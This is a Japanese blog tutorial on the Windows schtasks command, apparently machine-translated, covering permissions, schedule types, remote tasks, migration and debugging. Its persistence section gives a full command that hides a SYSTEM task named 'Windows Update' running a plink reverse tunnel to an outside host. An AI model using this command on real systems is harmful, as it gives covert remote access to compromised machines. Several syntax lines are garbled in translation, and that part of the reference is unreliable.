WindowsサーバーやPCを毎日使用する場合 遅かれ早かれ、あなたはコマンドに遭遇することになる schtasksこれは、タスク スケジューラと直接通信し、スクリプトの起動、バックアップの実行、ログの確認、さらにはグラフィカル インターフェイスに触れることなくメンテナンス プロセスの開始など、事実上あらゆる操作を自動化できるコマンド ライン ユーティリティです。
schtasksを使いこなせるかどうかは、手動で問題解決に追われる状況から、システムが自動的に処理してくれる状況へと大きく左右されます。この記事では、コマンドの動作原理、必要な権限、完全な構文、重要なパラメータ、そして豊富な実例(リモートコンピュータでのシナリオ、Windowsバージョンの移行、タスクが期待どおりに実行されない実際のケースなど)を詳細に解説します。
schtasks とは何ですか? また、具体的には何に使用されますか?
コマンド schtasks これはタスクスケジューラのコンソールインターフェースです Windowsの。古い at.exe また、Windows 10、Windows 11、Windows Server 2019、2022、およびサポートされている以前の同等のバージョンなど、システムのほぼすべての最新バージョンで利用できます。
その目的は、スケジュールされたタスクを管理することです。ローカルマシンとリモートサーバーの両方で、タスクの作成、変更、一覧表示、起動、停止、削除を行うことができます。スクリプト、実行ファイル、バックアップ、セキュリティチェック、監視、またはスケジュールに従って繰り返し実行したいあらゆるコマンドの自動化に最適です。
schtasksは、定期的なタスクのスケジュール設定に加えて、重要なシステムタイミング(起動時、ログイン時、アイドル時、Windowsレジストリイベントなど)でアクションをトリガーすることもできます。最も重要なのは、どのユーザーアカウントで実行するか、権限レベル、関連付けられたパスワードを保存するかどうかなどを指定できる点です。
プロフェッショナルな環境やサイバーセキュリティの分野では、永続性を確立するためにも使用されます。つまり、特定のコマンドが一定間隔で、または特定のトリガーに基づいて実行されるようにするためです。通常はSYSTEMアカウントなどの特権資格情報を使用するため、非常に強力ですが(悪用されると非常に危険です)。
schtasks を安全に使用するには権限が必要です
すべてのアカウントがschtasksのすべての操作を実行できるわけではありません。外部タスクやシステムタスクを操作するには、それらのタスクが存在するコンピューターの管理者グループに属している必要があります。
ローカルマシン上で、すべてのタスクを表示、スケジュール、または変更するには、schtasksを実行するアカウントが管理者である必要があります。標準ユーザーは通常、自分のタスクのみを管理でき、権限も制限されています。
リモートチーム 状況は少し複雑になります。リモートサーバーの管理者グループのメンバーであるか、パラメータで管理者の資格情報を明示的に提供する必要があります。 /u (パスワードは /pさらに、ローカル コンピューターのドメインは、リモート サーバーのドメインと同じか、信頼されているドメインである必要があります。そうでない場合、資格情報を検証できません。
タスク自体にも十分な権限が必要です 実行する内容を指定します。デフォルトでは、何も指定しない場合、タスクは現在のユーザー(または /u (スケジュール時)。ジョブを別のユーザーまたはシステムアカウントで実行したい場合は、 /ru およびオプションで /rp パスワードのために。
SYSTEMアカウントには対話型ログイン機能がないことを理解しておくことが重要です。SYSTEMアカウントで起動されたプログラムはウィンドウを表示せず、ユーザー操作も受け付けません。サービス、サイレントスクリプト、メンテナンス作業には最適ですが、ユーザーがクリックしたりデータを入力したりする必要のあるアプリケーションには適していません。
コマンドの基本構文と主な操作
schtasksコマンドの一般的な形式は、常に主要な操作(作成、削除、照会など)を中心に構築されています。ごく基本的なレベルでは、ヘルプには次のような内容が表示されます。
schtasks /Create | /Delete | /Query | /Change | /Run | /End | /?
これらの操作にはそれぞれ独自のパラメータと有効な組み合わせがあります。最も重要なものは次のとおりです。
schtasks /create: 新しいスケジュールされたタスクを作成します。schtasks /delete: 1 つ以上のタスクを削除します。schtasks /query: 既存のタスクをテーブル、リスト、または CSV 形式で一覧表示します。schtasks /change: すでに作成されたタスクのプロパティ (実行ユーザー、パスワード、プログラム、対話型モードなど) を変更します。schtasks /run: すでにスケジュールされているタスクを強制的に即時実行します。schtasks /end: タスクが現在実行中のプログラムを停止します。
Windows コンソールから詳細なヘルプを表示できます。 各操作のクラシック /?。 例えば、 schtasks /create /? パラメータの構文と説明がすべて表示されます。 schtasks /query /? またはその他のバリエーション。
schtasks によるタスクの作成: 完全な構文
これまで最も多く使われている操作は /createこれは新しいタスクを定義するために使用されます。その完全な構文は広範囲にわたりますが、プログラミングのほぼすべての詳細を制御できます。
schtasks /create /sc <tipo> /tn <nombre> /tr <comando> <usuario> ]] <usuario> | system}] | *] ] ]
タスクを作成する際に知っておくべき重要なパラメータは以下のとおりです。
/sc <tipo>: プログラミング タイプ (MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、ONLOGON、ONIDLE、ONEVENT)。/tn <nombre>: タスク名。仮想フォルダパスが含まれる場合があります:\Carpeta\MiTarea./tr <comando>: 実行するプログラム、スクリプト、またはコマンド。%SystemRoot%\System32./s <equipo>: タスクが作成されるリモート コンピューター (名前または IP)。/uy/p: リモートと通信する際にschtasksコマンド自体を実行するための認証情報(/s)./ruy/rp: あなたの番になったときにタスクを実行するために使用するアカウントとパスワード。/mo,/d,/m,/st,/sd,/ed: 頻度修飾子、特定の日、月、開始日/終了日。/it: 「実行ユーザー」がログインしている場合にのみタスクを強制的に実行します。/np: パスワードを保存しません (ローカル リソースのみ、非対話型実行)。/z: カレンダーを完了するとタスクが削除されます。/rl: 起動時の特権レベル (LIMITED または HIGHEST)。
柔軟性は非常に高いものの、エラーが発生する可能性も高くなります(例えば、特定のプログラミングタイプに有効でないパラメータを混在させてしまうなど)。そのため、各モードのヘルプドキュメントを確認し、まずはラボ環境でテストすることをお勧めします。
プログラミングの種類と周波数修飾子
パラメータ /sc タスクの「いつ」を定義する選択したタイプに応じて、一部の追加パラメータは必須、オプション、または無効になります。
利用可能な計画タイプは以下のとおりです。
- MINUTE: n 分ごと。
- 毎時: n 時間ごと。
- 毎日: n 日ごと。
- WEEKLY: n 週間ごとに、曜日を選択して実行します。
- MONTHLY: 柔軟な月間スケジュール (特定の日、特定の週、最終日、特定の月)。
- ONCE: 指定された日時に 1 回実行します。
- オンスタート: システムの起動ごとに。
- ログオン: 各ユーザーログイン時(任意のユーザーまたは特定のユーザー)
/ru). - オニドル: システムが一定時間非アクティブのままになったとき。
- ワンイベント: レジストリ イベント (チャネルおよび定義された基準) によってトリガーされる実行。
修飾子 /mo 各タイプ内の頻度を調整するたとえば、MINUTE の場合は分数、DAILY の場合は日数、WEEKLY の場合は週数、MONTHLY の場合は月数、または特定の月の組み合わせの場合は FIRST、SECOND、THIRD、FOURTH、LASTDAY などの特殊な値。
その他のパラメータとしては、 /d y /m 精度がさらに高まります。 /d 特定の曜日(月、火、水、木、金、土、日、または*ですべて)または使用するバリアントに応じて月内の日付を指定できます。 /m プログラミングを特定の月 (JAN ~ DEC または *) に制限します。
非アクティブのためスケジュールされた場合 (ONIDLE) 不可欠です /i <minutos>タスクを開始する前にチームが非アクティブでなければならない時間を指定します。1回のみ必須です。 /st、オプション /sd 「今日」ではなく、別の特定の日に実行したい場合。
分、時間、日単位でのスケジュール設定:実例
実際の現場では、数分または数時間ごとに繰り返される監視やメンテナンスのスクリプトを自動化することは非常に一般的です。以下に、いくつかの重要な組み合わせを示します。
例1 – 20分ごとにスクリプトを実行する:
schtasks /create /sc minute /mo 20 /tn "Security Script" /tr "\\central\data\scripts\sec.vbs"
ここでは20分間隔で実行するように指定されていますが、開始時刻も開始日も指定されていないため、最初の実行はタスク作成後20分後に行われます。スクリプトはネットワークパス上にありますが、ローカルマシン上で実行されます。
例2 – 時間帯内の100分ごと:
schtasks /create /tn "Security Script" /tr sec.vbs /sc minute /mo 100 /st 17:00 /et 08:00 /k
この場合、ワークロードは100分ごとに急増します 午後5時から午前8時まで。 /k 終了時刻になってもプログラムがまだアクティブな場合は強制的に停止されます。このパラメータがない場合、プログラムは再起動を停止するだけで、進行中のプロセスは終了されません。
スケジュール設定論理は似ていますが、 /sc hourlyたとえば、特定の日付から 5 時間ごとに実行します。
schtasks /create /sc hourly /mo 5 /sd 03/01/2002 /tn MyApp /tr c:\apps\myapp.exe
もう一つの典型的な時間パターンは「X時間ごとに一定時間」です。 使用して /du 最大期間(たとえば 10 時間)として設定し、その期間外では次の日次サイクルまでインスタンスがトリガーされないようにすることができます。
日々の計画 (/sc dailyデフォルトの修飾子は日なので、指定しない場合は /moタスクは毎日指定された時間に実行されます。開始日を調整してください。 /sd または終了 /ed 一時的なキャンペーン(特定の日付までのメンテナンスのみ、テストなど)を制限できます。
高度な週次および月次スケジュール
「X日ごと」よりもさらに正確な設定が必要な場合は、週単位または月単位のスケジュール設定を使用するのが最適です。週単位設定では、週単位と曜日単位で設定できます。月単位設定では、月の日数、特定の週、または最終日単位で設定できます。
例 – 隔週金曜日:
schtasks /create /tn MyApp /tr c:\apps\myapp.exe /sc weekly /mo 2 /d FRI
ここで /mo 2 2週間の間隔を示します、そして、 /d FRI 金曜日に限定します。省略 /mo毎週金曜日になります。
例 – 毎月第2日曜日(月の特定の週):
schtasks /create /tn MyApp /tr c:\apps\myapp.exe /sc monthly /mo SECOND /d SUN
この場合 /mo SECOND 今月は2週目ですつつ /d SUN その週内の日を定義します。FIRST、THIRD、またはFOURTHを単一の日と組み合わせる場合も同じロジックが適用されます。
月ごとのスケジュール これも非常に一般的です: /sc monthly y /d 15 たとえば、常に 15 日に実行します。 /m MAY,JUN 執行をその2ヶ月間だけに限定し、 /m * それは誰もが関わるものです。
月末の自動化処理では、LASTDAY修飾子がよく使用されます。この修飾子は、カレンダーを気にすることなく、28日、29日、30日、31日のいずれの月でも、月末にタスクを実行します。
特別なトリガー: 起動、ログイン、非アクティブ、イベント
すべてのタスクが固定された日時に基づいて実行されるわけではありません。多くの場合、マシンの起動時、ユーザーのログイン時、またはアクティビティがない時など、システムイベントに対応することが有効です。
ONSTARTは、Windowsの起動時に毎回タスクを開始します。通常はこれで十分です。
schtasks /create /tn MyApp /tr c:\apps\myapp.exe /sc onstart
ONLOGONは、ユーザーがログオンしたときに実行されます。ローカルマシンとリモートマシンの両方で使用できます。
schtasks /create /tn "Start Web Site" /tr c:\myiis\webstart.bat /sc onlogon /s Server23
オニドル 一定期間の休止後に有効となり、 /iたとえば、10 分間操作が行われなかった後に何かを起動するには、次のようにします。
schtasks /create /tn MyApp /tr c:\apps\myapp.exe /sc onidle /i 10
ONEVENT タイプを使用すると、イベント ビューアーからのイベントに反応できます。チャンネルを指定する /EC XMLを使用したイベントの定義(通常は /xmlサービス障害、重大なエラー、セキュリティ イベントへの対応を自動化するのに最適です。
今すぐタスクを実行し、「今すぐ実行」をシミュレートします
Windowsにはschtasksから「今すぐ実行」ボタンを提供する機能はありませんが、ニーズに応じて2つの異なる方法で同じ効果を実現できます。
最初のオプションは使用することです schtasks /run すでにスケジュールされているタスクについて:
schtasks /run /tn MiTarea
このコマンドはスケジュールを無視し、スケジュール内に設定されたプログラム、ユーザー名、パスワードを使用してタスクを即座に起動します。次回の実行を待たずにタスクが正しく定義されているかどうかをテストするのに非常に便利です。
2番目のオプションは、ELEVENタイプのタスクを作成することです。 数分後に実行するようにスケジュールを設定し、「今」、例えば現在時刻から2~3分後に実行するようにシミュレートします。その後、必要に応じて削除できます。 /delete 自動的に
問題をデバッグするための追加のトリックとしてファイルを見る価値がある SchedLgU.txt en %SystemRoot%タスク スケジューラによって、多数の実行エラーと資格情報エラーの痕跡が残されます。
SYSTEMアカウントによる永続化と実行
サイバーセキュリティや高度な管理において非常に一般的な用途として、schtasksを使用して特定のコマンドをSYSTEMアカウントで繰り返し実行し、最大限の権限で永続性を確保することが挙げられます。
典型的な永続化パターンは次のようになります。
C:\> schtasks /create /ru "SYSTEM" /sc minute /mo <minutos> /tn "<nombre>" /tr "<comando>"
これにより、定期的なタスクが作成されます n分ごとにSYSTEMとして実行され、指定したコマンド(スクリプト、バイナリ、接続ツールなど)を実行します。パスワードは不要です。 /rp SYSTEM アカウントはユーザー資格情報を使用しないためです。
10分ごとに逆方向接続を行うことで持続性を実現する実例:
C:\> schtasks /create /ru "SYSTEM" /sc minute /mo 10 /tn "Windows Update" /tr "C:\temp\plink.exe 10.1.1.22 -P 443 -C -R 3445:127.0.0.1:445 -N -l root -i private.key"
一見無害なタスク(「Windows Update」) 定期的に起動 plink.exe 一連のパラメータ:宛先IP、ポート443、圧縮有効、ポート転送、対話型シェルなし(-N)、リモートユーザー root 秘密鍵による認証も行います。
このような使用例は、schtasksがなぜ非常にデリケートなツールなのかを示しています。正当な管理者が使用すれば非常に強力な自動化ツールとなりますが、同時に、侵害されたシステム上で永続的なアクセスを維持するための一般的な手段の一つにもなり得るのです。
ベストプラクティスの観点から言えば、スケジュールされたタスクを定期的に見直し、SYSTEMを使用するタスクを監査し、特に公開サーバー上で自動的に実行されるスクリプトやバイナリを管理下に置くことが推奨されます。
リモートチームと代替資格情報で作業する
schtasksの主な利点は、他のサーバーに対して動作できることです。 手動で接続する必要はありません。 /s リモートホストを示すために /u//p 管理者の資格情報の場合、それらのシステムでタスクを作成、一覧表示、または変更できます。
例 – ローカル管理者ユーザーを使用してリモートサーバー上でタスクをスケジュールする:
schtasks /create /s SRV01 /tn MyApp /tr "c:\program files\corpapps\myapp.exe" /sc daily /mo 10
現在のユーザーがすでにSRV01の管理者である場合 いらないよ /uそうでない場合は、権限のあるアカウントを指定する必要があります。
schtasks /create /s SRV06 /tn MyApp /tr "c:\program files\corpapps\myapp.exe" /sc hourly /mo 3 /u reskits\admin01 /p R43253@4$ /ru SRV06\user03 /rp MyFav!!Pswd
このコマンドには2つのレベルの資格情報があります:資格 /u (admin01) はリモートマシン上でタスクを作成するために使用され、 /ru その後、(user03) を使用して3時間ごとにタスクを実行します。これにより、管理者権限が不要な場合はジョブ自体を管理者権限なしで実行できます。
ローカルコンピュータが信頼されたドメインに属していない場合 リモートドメインの場合、サーバーは指定されたアカウントを認証できません。 /u タスクは「空」になります。タスクはリストに表示されますが、正しい資格情報データがなく、次回の実行時間がなく、アカウント情報を確立できなかったことを示す警告メッセージが表示されます。
詳細にご相談の上、 schtasks /query /V 「実行ユーザー」などのフィールドが取得できず、「次回実行時刻」が「なし」になっていることがわかります。その場合、ドメイン間の信頼関係を確認するか、別のアカウント/サーバーを使用してタスクを適切に設定する必要があります。
サーバー間でスケジュールされたタスクをインポートおよび移行する
Windows Server 2003からより新しいバージョンへの移行では、すべてのスケジュール済みタスクを新しいサーバーに移行し、そのプロパティを維持し、ユーザーアカウントを適応させる必要があった(そして、一部のレガシー環境では今でもそうである)。
実用的なアプローチは、.jobファイルをコピーすることです から C:\Windows\Tasks 古いサーバーから一時フォルダ(例: C:\Task)、と schtasks.exe y schedsvc.dll de C:\Windows\System32そのフォルダーを新しいサーバーに移動します。
そこに移動すると、.job ファイルが新しいシステムのタスクフォルダにコピーされ、FOR ループを使用してタスクの実行に使用されるアカウントとパスワードが一括更新されます。
cd C:\Task
FOR /R . %F in (*.*) do schtasks /change /TN %~nF /RU dom\Administrador /RP CONTRASEÑA
オーダー schtasks /change 資格情報を変更することができます パラメータ付き /ru (ユーザー)と /rp (パスワード)などのプロパティを設定します。これにより、インポートされたすべてのタスクが更新され、新しいドメイン/サーバー上の有効なアカウントで実行されるようになります。
この処理がうまくいけば、システムは「成功:スケジュールされたタスクのパラメータ『Scheduled_Task_Name』が変更されました」などの成功メッセージを表示します。その後、グラフィカルなタスクスケジューラを開き、タスクが期待どおりに表示され、実行されることを確認できます。
ただし、多くのタスクは特定のスクリプトやパスに依存していることに注意してください。.job ファイルに加えて、カスタムの .bat、.vbs、.exe などのファイルをソースサーバーと同じ場所にコピーするか、別の場所に移動する場合はタスク内のパスを調整する必要があります。
schtasks の一般的な問題について相談、デバッグ、トラブルシューティングします
タスクの作成や起動時にコマンドが「SUCCESS」を返したとしても、必ずしも基となるプログラムが正しく実行されたとは限りません。そのため、監視やデバッグの方法を理解し、必要に応じてtasklistやtaskkillといったツールを使用することが重要です。
とともに schtasks /query タスクをリストできます ローカルとリモートの両方、フィルターとさまざまな形式:
schtasks /query /S servidor /U usuario /P contraseña /FO TABLE /V
パラメータ /FO フォーマットを定義する (テーブル、リスト、またはCSV) /NH TABLE/CSVのヘッダーを削除し、 /V 完全な詳細 (実行中のユーザー、次回の起動、最後の実行、結果など) が表示されます。
よくある実際のシナリオとして、PowerShellで手動で実行するとタスクが正常に動作するのに、タスクスケジューラで起動すると動作しないというケースがあります。例えば、あるサーバーでschtasksを実行して別のリモートサーバーでタスクを起動する場合などが挙げられます。
schtasks /run /s server02 /tn starttask
PowerShellで手動で実行すると、すべて正常に見えます(成功メッセージが表示され、server02でジョブが開始されます)が、server01のタスクスケジューラでスケジュールすると、何も起こりません。このような場合は、次の点を確認してください。
- server01でタスクを実行するアカウント (例: SYSTEM)。SYSTEM にはドメイン ユーザーと同等のネットワーク権限が常に付与されているとは限らず、server02 へのアクセスが妨げられる可能性があります。
- 「ユーザーがログインしているかどうかに関係なく実行する」というコンテキスト利用可能な環境 (変数、ネットワーク マッピング、対話型権限など) が変更されるためです。
- 「最高権限で実行する」設定シナリオによっては必要になる場合があります。
- PowerShellとスクリプトの絶対パス (
powershell.exe -File "F:\folder\startserver02task.ps1")、現在のフォルダーへの依存を回避します。
多くの場合、解決策としては、サーバー01上でSYSTEMアカウントではなくドメインサービスアカウントをタスクに使用するか、リモート呼び出しを許可するように両サーバー間のセキュリティポリシーとファイアウォールポリシーを見直すことが挙げられます。
問題を引き起こすもう一つの要因は時間と地域フォーマットである 日付。パラメータ /sd y /ed これらは地域設定(DD/MM/YYYY、MM/DD/YYYY、YYYY/MM/DD など)によって異なります。日付が誤って解釈された場合、タスクが実行されない、または次回実行予定として「実行しない」とマークされる可能性があります。
最後に、schtasks はタスク作成時にパスやパスワードを検証しないことに注意してください。プログラムパスやアカウントパスワードを誤って入力した場合、タスクは作成されますが、実行時に失敗します。その後、パスワードの有効期限が切れ、タスクを更新しない場合、schtasks から事前に通知されることなく、タスクは動作しなくなります。
総じて、schtasksはコマンドラインからWindowsを自動化するための非常に強力で柔軟なツールです。ローカルおよびリモートタスクのスケジュール設定、多種多様なトリガータイプの選択、実行頻度の微調整、サーバーバージョン間のタスク移行、そして認証情報の精密な管理が可能です。そのパラメータを習得し、タスクスケジューラやWindowsセキュリティとの連携を理解することが、堅牢な自動化の設定、悪意のある永続化攻撃の検出、そして日々の膨大な手作業の削減に不可欠です。
バイトの世界とテクノロジー全般についての情熱的なライター。私は執筆を通じて自分の知識を共有するのが大好きです。このブログでは、ガジェット、ソフトウェア、ハードウェア、技術トレンドなどについて最も興味深いことをすべて紹介します。私の目標は、シンプルで楽しい方法でデジタル世界をナビゲートできるよう支援することです。